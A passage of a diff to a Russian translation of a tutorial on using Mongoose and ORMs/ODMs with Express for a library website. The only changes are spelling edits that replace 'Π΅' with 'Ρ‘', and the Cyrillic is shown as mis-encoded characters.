ΡƒΠΊΠ°ΠΆΠ΅ΠΌ основныС Ρ‚ΠΈΠΏΡ‹ ΠΏΠΎΠ»Π΅ΠΉ, ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΈΠΊΡƒ Π±Π°Π·ΠΎΠ²ΠΎΠΉΒ Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΠΈ. Π’Β ΡΡ‚Π°Ρ‚ΡŒΠ΅ Ρ‚Π°ΠΊΠΆΠ΅ ΠΊΡ€Π°Ρ‚ΠΊΠΎ показаны  основныС мСтоды доступа ΠΊ Π΄Π°Π½Π½Ρ‹ΠΌ ΠΌΠΎΠ΄Π΅Π»ΠΈ.</p>
<table class="learn-box standard-table">
<tbody>
@@ -24,7 +24,7 @@ translation_of: Learn/Server-side/Express_Nodejs/mongoose
<h2 id="ΠžΠ±Π·ΠΎΡ€">ΠžΠ±Π·ΠΎΡ€</h2>
-<p>Π‘ΠΎΡ‚Ρ€ΡƒΠ΄Π½ΠΈΠΊΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ сайт Local Library  для хранСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ ΠΊΠ½ΠΈΠ³Π°Ρ… ΠΈ Π°Π±ΠΎΠ½Π΅Π½Ρ‚Π°Ρ…, Π° Π°Π±ΠΎΠ½Π΅Π½Ρ‚Ρ‹ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈΒ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ Π΅Π³ΠΎ для просмотра ΠΈ поиска ΠΊΠ½ΠΈΠ³, для получСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ доступных копиях, для рСзСрвирования или одалТивания ΠΊΠ½ΠΈΠ³. Π§Ρ‚ΠΎΠ±Ρ‹ эффСктивно Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΈ ΠΈΠ·Π²Π»Π΅ΠΊΠ°Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π΅Π΅ Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ….</p>
+<p>Π‘ΠΎΡ‚Ρ€ΡƒΠ΄Π½ΠΈΠΊΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ сайт Local Library  для хранСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ ΠΊΠ½ΠΈΠ³Π°Ρ… ΠΈ Π°Π±ΠΎΠ½Π΅Π½Ρ‚Π°Ρ…, Π° Π°Π±ΠΎΠ½Π΅Π½Ρ‚Ρ‹ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈΒ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ Π΅Π³ΠΎ для просмотра ΠΈ поиска ΠΊΠ½ΠΈΠ³, для получСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ доступных копиях, для рСзСрвирования или одалТивания ΠΊΠ½ΠΈΠ³. Π§Ρ‚ΠΎΠ±Ρ‹ эффСктивно Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΈ ΠΈΠ·Π²Π»Π΅ΠΊΠ°Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π΅Ρ‘ Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ….</p>
<p>Express-прилоТСния ΠΌΠΎΠ³ΡƒΡ‚Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅Β Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΈ Π΅ΡΡ‚ΡŒ нСсколько ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для выполнСния ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉΒ <strong>C</strong>reate,Β <strong>R</strong>ead,Β <strong>U</strong>pdate andΒ <strong>D</strong>elete (CRUD) (ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ,Β ΠΏΡ€ΠΎΡ‡Π΅ΡΡ‚ΡŒ, ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ, ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ). В руководствС дан краткий ΠΎΠ±Π·ΠΎΡ€Β Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… доступных ΠΎΠΏΡ†ΠΈΠΉ, ΠΈ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎ рассмотрСны Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΡ‹ Ρ€Π°Π±ΠΎΡ‚Ρ‹.</p>
@@ -42,7 +42,7 @@ translation_of: Learn/Server-side/Express_Nodejs/mongoose
<ul>
<li>ИспользованиС Ρ€ΠΎΠ΄Π½ΠΎΠ³ΠΎ языка запросов Π±Π°Π· Π΄Π°Π½Π½Ρ‹Ρ… (Ρ‚.Π΅. SQL)</li>
- <li>ИспользованиС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈ Π΄Π°Π½Π½Ρ‹Ρ… (ODM) ΠΈΠ»ΠΈΒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-рСляционной ΠΌΠΎΠ΄Π΅Π»ΠΈ (ORM).Β  ODM / ORM ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚Β Π΄Π°Π½Π½Ρ‹Π΅ Π²Π΅Π±-сайта ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ JavaScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π·Π°Ρ‚Π΅ΠΌ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ Π½Π° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΡƒΡŽΒ Π±Π°Π·ΡƒΒ Π΄Π°Π½Π½Ρ‹Ρ…. НСкоторыС ORM  привязаны ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…, Ρ‚ΠΎΠ³Π΄Π°Β ΠΊΠ°ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π½Π΅ зависят ΠΎΡ‚ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΉ Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ….</li>
+ <li>ИспользованиС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈ Π΄Π°Π½Π½Ρ‹Ρ… (ODM) ΠΈΠ»ΠΈΒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-рСляционной ΠΌΠΎΠ΄Π΅Π»ΠΈ (ORM).Β  ODM / ORM ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚Β Π΄Π°Π½Π½Ρ‹Π΅ Π²Π΅Π±-сайта ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ JavaScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π·Π°Ρ‚Π΅ΠΌ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ Π½Π° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΡƒΡŽΒ Π±Π°Π·ΡƒΒ Π΄Π°Π½Π½Ρ‹Ρ…. НСкоторыС ORM  привязаны ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…, Ρ‚ΠΎΠ³Π΄Π°Β ΠΊΠ°ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π½Π΅ зависят ΠΎΡ‚ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΉ Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ….</li>
</ul>
<p>ΠΠ°ΠΈΠ»ΡƒΡ‡ΡˆΡƒΡŽ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ SQL ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ языка запросов, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΠΎΠ³ΠΎ Π±Π°Π·ΠΎΠΉ Π΄Π°Π½Π½Ρ‹Ρ…. ΠžΠ±ΡŠΠ΅ΠΊΡ‚Π½Ρ‹Π΅ ΠΌΠΎΠ΄Π΅Π»ΠΈ (ODM) часто ΠΌΠ΅Π΄Π»Π΅Π½Π½Π΅Π΅, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚Β ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π²Β Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Β Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΏΡ€ΠΈ этом Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹Β Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ эффСктивныС запросы ΠΊ Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ… (особСнно, Ссли ODM ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π° для Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ…Β Π±Π°Π·Β Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ Π΄ΠΎΠ»ΠΆΠ½Π°Β ΠΈΠ΄Ρ‚ΠΈ Π½Π° большиС компромиссы Π² смыслС ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈΒ Ρ‚Π΅Ρ… ΠΈΠ»ΠΈ ΠΈΠ½Ρ‹Ρ…Β Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉΒ Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…).</p>
@@ -50,7 +50,7 @@ translation_of: Learn/Server-side/Express_Nodejs/mongoose
<p>ΠŸΡ€Π΅ΠΈΠΌΡƒΡ‰Π΅ΡΡ‚Π²ΠΎ примСнСния ORM состоит в Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ программисты ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΎΡΡ€Π΅Π΄ΠΎΡ‚ΠΎΡ‡ΠΈΡ‚ΡŒΡΡΒ Π½Π°Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Ρ… JavaScript, Π° Π½Π΅ Β Π½Π° сСмантикС Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… —  особСнно, Ссли Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ΡΡΒ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ Π±Π°Π·Π°ΠΌΠΈ Π΄Π°Π½Π½Ρ‹Ρ… (Π½Π° ΠΎΠ΄Π½ΠΎΠΌ ΠΈΠ»ΠΈ Ρ€Π°Π·Π½Ρ‹Ρ… Π²Π΅Π±-сайтах). Они Ρ‚Π°ΠΊΠΆΠ΅ Π΄Π°ΡŽΡ‚Β ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎΠ΅Β ΠΌΠ΅ΡΡ‚ΠΎ для валидации ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈΒ Π΄Π°Π½Π½Ρ‹Ρ….</p>
<div class="note">
-<p>Π‘ΠΎΠ²Π΅Ρ‚:Β  ΠŸΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅Β ODM / ORMs часто ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ сниТСнию Π·Π°Ρ‚Ρ€Π°Ρ‚ Π½Π° Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ ΠΈ обслуТиваниС! Если Π’Ρ‹ Π½Π΅ ΠΎΡ‡Π΅Π½ΡŒ Ρ…ΠΎΡ€ΠΎΡˆΠΎ Π·Π½Π°ΠΊΠΎΠΌΡ‹ с Ρ€ΠΎΠ΄Π½Ρ‹ΠΌ языком запросов ΠΈΠ»ΠΈ Ссли ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΈΠΌΠ΅Π΅Ρ‚ пСрвостСпСнноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, слСдуСт ΡΠ΅Ρ€ΡŒΠ΅Π·Π½ΠΎΒ Ρ€Π°ΡΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ примСнСния ODM.</p>
+<p>Π‘ΠΎΠ²Π΅Ρ‚:Β  ΠŸΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅Β ODM / ORMs часто ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ сниТСнию Π·Π°Ρ‚Ρ€Π°Ρ‚ Π½Π° Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ ΠΈ обслуТиваниС! Если Π’Ρ‹ Π½Π΅ ΠΎΡ‡Π΅Π½ΡŒ Ρ…ΠΎΡ€ΠΎΡˆΠΎ Π·Π½Π°ΠΊΠΎΠΌΡ‹ с Ρ€ΠΎΠ΄Π½Ρ‹ΠΌ языком запросов ΠΈΠ»ΠΈ Ссли ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΈΠΌΠ΅Π΅Ρ‚ пСрвостСпСнноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, слСдуСт ΡΠ΅Ρ€ΡŒΡ‘Π·Π½ΠΎΒ Ρ€Π°ΡΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ примСнСния ODM.</p>
</div>
<h3 id="ΠšΠ°ΠΊΡƒΡŽ_модСль_ORMODM_слСдуСт_ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ">ΠšΠ°ΠΊΡƒΡŽ модСль ORM/ODM слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ?</h3>
@@ -63,8 +63,8 @@ translation_of: Learn/Server-side/Express_Nodejs/mongoose
<li><a href="https://www.npmjs.com/package/mongoose">Mongoose</a>: -- это срСдство модСлированиС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²Β Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…Β <a href="https://www.mongodb.org/">MongoDB</a>,Β  прСдназначСнноС для асинхронной Ρ€Π°Π±ΠΎΡ‚Ρ‹.</li>
<li><a href="https://www.npmjs.com/package/waterline">Waterline</a>: ORM Β Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠ° <a href="http://sailsjs.com/">Sails</a>Β (основан Π½Π°Β Express)Β . ΠžΠ½Π°Β ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ Π΅Π΄ΠΈΠ½Ρ‹ΠΉ API для доступа ΠΊ мноТСству Π±Π°Π· Π΄Π°Π½Π½Ρ‹Ρ…, Π² Ρ‚ΠΎΠΌ числС Redis, mySQL, LDAP, MongoDB, ΠΈΒ Postgres.</li>
<li><a href="https://www.npmjs.com/package/bookshelf">Bookshelf</a>: ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΠΊΠ°ΠΊΒ promise- Ρ‚Π°ΠΊ ΠΈ Ρ‚Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π½Ρ‹Π΅Β callback- интСрфСйсы, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Ρ‚Ρ€Π°Π½Π·Π°ΠΊΡ†ΠΈΠΉ,Β eager/nested-eager relation loading, ΠΏΠΎΠ»ΠΈΠΌΠΎΡ€Ρ„Π½Ρ‹Π΅ ассоциации, ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ°, ΠΎΠ΄ΠΈΠ½ ΠΊ ΠΎΠ΄Π½ΠΎΠΌΡƒ, ΠΎΠ΄ΠΈΠ½ ΠΊΠΎ ΠΌΠ½ΠΎΠ³ΠΈΠΌ, ΠΈ ΠΌΠ½ΠΎΠ³ΠΈΠ΅ ΠΊΠΎ ΠΌΠ½ΠΎΠ³ΠΈΠΌ. Π Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ с PostgreSQL, MySQL, ΠΈΒ SQLite3.</li>
- <li><a href="https://www.npmjs.com/package/objection">Objection</a>: Π”Π΅Π»Π°Π΅Ρ‚ Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ Π»Π΅Π³ΠΊΠΈΠΌ, насколько Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, использованиС всСй ΠΌΠΎΡ‰ΠΈ SQL ΠΈΒ Π΄Π²ΠΈΠΆΠΊΠ°Β Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… ( ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚Β  SQLite3, Postgres, ΠΈΒ MySQL).</li>
- <li><a href="https://www.npmjs.com/package/sequelize">Sequelize</a>: Основанная на промисах ORM для Node.js ΠΈ <a href="https://ru.wikipedia.org/wiki/Io.js">io.js</a>. ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚Β Π΄ΠΈΠ°Π»Π΅ΠΊΡ‚Ρ‹Β PostgreSQL, MySQL, MariaDB, SQLite ΠΈ MSSQL, ΠΎΠ±Π»Π°Π΄Π°Π΅Ρ‚ Π½Π°Π΄Π΅ΠΆΠ½ΠΎΠΉΒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ Ρ‚Ρ€Π°Π½Π·Π°ΠΊΡ†ΠΈΠΉ,Β ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠΉ, чтСния копий и Ρ‚.Π΄.</li>
+ <li><a href="https://www.npmjs.com/package/objection">Objection</a>: Π”Π΅Π»Π°Π΅Ρ‚ Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ Π»Ρ‘Π³ΠΊΠΈΠΌ, насколько Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, использованиС всСй ΠΌΠΎΡ‰ΠΈ SQL ΠΈΒ Π΄Π²ΠΈΠΆΠΊΠ°Β Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… ( ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚Β  SQLite3, Postgres, ΠΈΒ MySQL).</li>
+ <li><a href="https://www.npmjs.com/package/sequelize">Sequelize</a>: Основанная на промисах ORM для Node.js ΠΈ <a href="https://ru.wikipedia.org/wiki/Io.js">io.js</a>. ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚Β Π΄ΠΈΠ°Π»Π΅ΠΊΡ‚Ρ‹Β PostgreSQL, MySQL, MariaDB, SQLite ΠΈ MSSQL, ΠΎΠ±Π»Π°Π΄Π°Π΅Ρ‚ Π½Π°Π΄Ρ‘ΠΆΠ½ΠΎΠΉΒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ Ρ‚Ρ€Π°Π½Π·Π°ΠΊΡ†ΠΈΠΉ,Β ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠΉ, чтСния копий и Ρ‚.Π΄.</li>
<li>
<p><a href="https://node-orm.readthedocs.io/en/latest/"><font color="#3d7e9a"><font face="Arial, x-locale-body, sans-serif"><font size="3">Node ORM2</font></font></font></a><font color="#333333"><font face="Arial, x-locale-body, sans-serif"><font size="3">Β -- это ORΒ ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€ для NodeJS. ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚Β MySQL, SQLite ΠΈΒ Progress, ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с Π‘Π”,Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½Ρ‹ΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄.</font></font></font></p>
</li>
@@ -73,7 +73,7 @@ translation_of: Learn/Server-side/Express_Nodejs/mongoose
</li>
</ul>
-<p>ΠšΠ°ΠΊΒ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, ΠΏΡ€ΠΈ Π²Ρ‹Π±ΠΎΡ€Π΅ Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ слСдуСт ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ прСдоставляСмыС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‚Π°ΠΊ ΠΈΒ Β "Π΄Π΅ΡΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ сообщСства" ( Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ, Π²ΠΊΠ»Π°Π΄, ΠΎΡ‚Ρ‡Π΅Ρ‚Ρ‹ ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ…, качСство докумСнтации, ΠΈ Ρ‚.Π΄. ) . На ΠΌΠΎΠΌΠ΅Π½Ρ‚ написания ΡΡ‚Π°Ρ‚ΡŒΠΈΒ Mongoose ΡΠ²Π»ΡΠ»Π°ΡΡŒΒ ΠΎΡ‡Π΅Π½ΡŒ популярной ORM, ΠΈΒ Ρ€Π°Π·ΡƒΠΌΠ½ΠΎ, Ссли Π²Ρ‹ Π²Ρ‹Π±Ρ€Π°Π»ΠΈ MongoDB.</p>
+<p>ΠšΠ°ΠΊΒ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, ΠΏΡ€ΠΈ Π²Ρ‹Π±ΠΎΡ€Π΅ Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ слСдуСт ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ прСдоставляСмыС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‚Π°ΠΊ ΠΈΒ Β "Π΄Π΅ΡΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ сообщСства" ( Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ, Π²ΠΊΠ»Π°Π΄, ΠΎΡ‚Ρ‡Ρ‘Ρ‚Ρ‹ ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ…, качСство докумСнтации, ΠΈ Ρ‚.Π΄. ) . На ΠΌΠΎΠΌΠ΅Π½Ρ‚ написания ΡΡ‚Π°Ρ‚ΡŒΠΈΒ Mongoose ΡΠ²Π»ΡΠ»Π°ΡΡŒΒ ΠΎΡ‡Π΅Π½ΡŒ популярной ORM, ΠΈΒ Ρ€Π°Π·ΡƒΠΌΠ½ΠΎ, Ссли Π²Ρ‹ Π²Ρ‹Π±Ρ€Π°Π»ΠΈ MongoDB.</p>
<h3 id="ΠŸΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅_Mongoose_ΠΈ_MongoDb_для_LocalLibrary">ΠŸΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅Β Mongoose ΠΈ MongoDb для LocalLibrary</h3>
@@ -97,11 +97,11 @@ translation_of: Learn/Server-side/Express_Nodejs/mongoose
<p>ΠŸΡ€ΠΈ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ ΠΈΠΌΠ΅Π΅Ρ‚ смысл ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΌΠΎΠ΄Π΅Π»ΠΈ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Β«ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β» (Π³Ρ€ΡƒΠΏΠΏΡ‹ связанных данных). Π’ этом случаС ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Ρ‹ΠΌΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΊΠ½ΠΈΠ³ΠΈ, экзСмпляры ΠΊΠ½ΠΈΠ³ ΠΈ Π°Π²Ρ‚ΠΎΡ€Ρ‹.</p>
-<p>ΠœΠΎΠΆΠ½ΠΎΒ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ модСли для прСдставлСния ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² списка Π²Ρ‹Π±ΠΎΡ€Π° (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠ°ΠΊ Π²Ρ‹ΠΏΠ°Π΄Π°ΡŽΡ‰ΠΈΠΉ список Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ²), вмСсто ТСсткого кодирования Π²Ρ‹Π±ΠΎΡ€Π° Π½Π° самом Π²Π΅Π±-сайтС -  рСкомСндуСтся, ΠΊΠΎΠ³Π΄Π° Π½Π΅ всС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ извСстны ΠΈΠ»ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Ρ‹. Явный кандидат для модСли такого Ρ‚ΠΈΠΏΠ° -- это Танр ΠΊΠ½ΠΈΠ³ΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, «Научная фантастика», «Ѐранцузская поэзия» ΠΈ Ρ‚.Π΄.),</p>
